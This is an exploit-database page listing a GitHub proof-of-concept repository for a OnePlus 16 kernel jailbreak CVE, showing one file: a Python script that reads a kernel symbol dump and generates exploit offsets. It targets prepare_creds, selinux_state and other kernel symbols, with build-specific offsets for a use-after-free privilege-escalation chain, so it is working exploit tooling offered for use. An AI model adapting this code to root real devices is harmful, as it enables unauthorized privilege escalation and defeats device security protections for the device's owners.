Exploit database

GH-58c17a5759ed2473f2777c99d07f788c

azirx1337/cve-2026-98260-oneplus16-pyb110-jailbreak

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-98260

60 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files4

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

tools/make-offsets.py

Python · 3,587 bytes
#!/usr/bin/env python3
"""make-offsets.py - derive exploit/offsets.h from your own kernel symbol table.

Input format (what extract-ikconfig / a kallsyms dump gives you), one per line:

    ffffffc0803d77c8 t do_timer_create
    ffffffc082979630 d selinux_state

Usage:
    python tools/make-offsets.py --syms syms.txt --out exploit/offsets.h
    python tools/make-offsets.py --syms syms.txt --timer-off 0xb8 --cred-off 0x2c

The two offsets you may have to adjust per kernel build:

    --timer-off  distance from do_timer_create to the kmem_cache_alloc call for
                 the new k_itimer (the address the kmem_cache_alloc tracepoint
                 records).  0xb8 on 6.18.21-android17-5 PYB110.
    --cred-off   distance from prepare_creds to the instruction AFTER its
                 kmem_cache_alloc_noprof call.  0x2c on the same build.

Both are verified at runtime: if the plant prints `[uaf] captured=0` the offsets
(not the slide) are wrong - see docs/08-porting.md.
"""
import argparse, re, sys

REQ = {
    'do_timer_create': 'TIMER_LINK',
    'prepare_creds':   'CRED_LINK',
    'selinux_state':   'SELINUX_LINK',
    'init_user_ns':    'LINK_USER_NS',
    'root_user':       'LINK_ROOT_USER',
    'init_groups':     'LINK_GROUPS',
    'init_ucounts':    'LINK_UCOUNTS',
}

LINE = re.compile(r'^([0-9a-fA-F]{8,16})\s+([a-zA-Z])\s+(\S+)\s*$')


def load(path):
    table, dup = {}, {}
    with open(path, 'r', encoding='utf-8', errors='replace') as fh:
        for line in fh:
            m = LINE.match(line.strip())
            if not m:
                continue
            addr, _kind, name = m.group(1), m.group(2), m.group(3)
            if name in table:
                dup[name] = dup.get(name, 1) + 1
                continue
            table[name] = int(addr, 16)
    return table, dup


def main():
    ap = argparse.ArgumentParser()
    ap.add_argument('--syms', required=True)
    ap.add_argument('--out', default='exploit/offsets.h')
    ap.add_argument('--timer-off', default='0xb8')
    ap.add_argument('--cred-off', default='0x2c')
    a = ap.parse_args()

    table, dup = load(a.syms)
    if not table:
        sys.exit('no symbols parsed from %s' % a.syms)

    missing = [n for n in REQ if n not in table]
    if missing:
        sys.exit('missing symbols: %s' % ', '.join(missing))

    vals = {tag: table[name] for name, tag in REQ.items()}
    vals['TIMER_LINK'] += int(a.timer_off, 16)
    vals['CRED_LINK'] += int(a.cred_off, 16)

    for tag, v in vals.items():
        if not (0xffffff8000000000 <= v <= 0xffffffffffffffff):
            sys.exit('%s = %#x does not look like a kernel address' % (tag, v))

    lines = ['/* generated by tools/make-offsets.py - do not commit, do not edit */',
             '#ifndef OFFSETS_H', '#define OFFSETS_H']
    for name, tag in REQ.items():
        off = ''
        if tag == 'TIMER_LINK':
            off = '  /* %s + %s */' % (name, a.timer_off)
        elif tag == 'CRED_LINK':
            off = '  /* %s + %s */' % (name, a.cred_off)
        else:
            off = '  /* %s */' % name
        lines.append('#define %-14s UINT64_C(0x%016x)%s' % (tag, vals[tag], off))
    lines.append('#endif')
    lines.append('')

    with open(a.out, 'w', encoding='utf-8', newline='\n') as fh:
        fh.write('\n'.join(lines))
    print('wrote %s' % a.out)
    for tag in ('TIMER_LINK', 'CRED_LINK', 'SELINUX_LINK'):
        print('  %-14s %#018x' % (tag, vals[tag]))
    if dup:
        print('note: %d duplicate symbol names ignored (first wins)' % len(dup))


if __name__ == '__main__':
    main()